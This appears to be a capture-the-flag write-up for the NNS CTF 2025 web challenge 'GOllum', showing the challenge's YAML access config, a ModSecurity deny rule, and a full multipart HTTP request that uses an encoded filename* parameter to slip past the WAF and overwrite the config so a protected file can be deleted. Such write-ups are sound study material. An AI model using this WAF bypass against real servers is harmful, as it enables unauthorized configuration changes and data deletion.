Categoryweb
PublishedAugust 31, 2025
CompetitionNNS CTF 2025
Points436 pts (20 solves)
AuthorVealending
Rank7th

[NNS CTF 2025] Web - GOllum Writeup

[NNS CTF 2025] Web - GOllum Writeup
chall
chall

GOllum

Goal: Delete the protected file (my_precious.gif) so a watcher drops the flag at /flag.txt.

.
.

Clues

  • The quote in the prompt (“you can look at it, but can’t take it away”) plus a visible my_precious.gif suggested the flag appears only after that file is gone.
  • The back-end source code has a YAML config that enables uploads/deletes.
upload: false
delete: false

users:
  - token: "in_case_i_ever_need_to_upload_123"
    upload: true
    delete: false
  • A POST-only firewall rule blocks requests that mention the precious or the config name. In nginx.conf the ModSecurity rule is literally:
SecRule REQUEST_METHOD "@streq POST" "id:1010,phase:2,deny,status:403,log,chain"
SecRule REQUEST_BODY|ARGS|MULTIPART_FILENAME "(?i)(?:\.ghs\.yml|my_precious\.gif)"

My path to the solve

  1. Uploaded a new .ghs.yml that enables delete: true, but used the RFC 5987/6266 filename*=UTF-8''%2Eghs%2Eyml trick so the literal .ghs.yml string never appeared in the POST body that the WAF inspects.
  2. With delete now allowed, sent a request with DELETE method to my_precious.gif using the token and fetched the flag.
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=BOUND

--BOUND
Content-Disposition: form-data; name="token"

in_case_i_ever_need_to_upload_123
--BOUND
Content-Disposition: form-data; name="file"; filename*=UTF-8''%2Eghs%2Eyml
Content-Type: text/plain

upload: true
delete: true
users:
  - token: "in_case_i_ever_need_to_upload_123"
    upload: true
    delete: true
--BOUND--

Sources

root@home:~/writeups$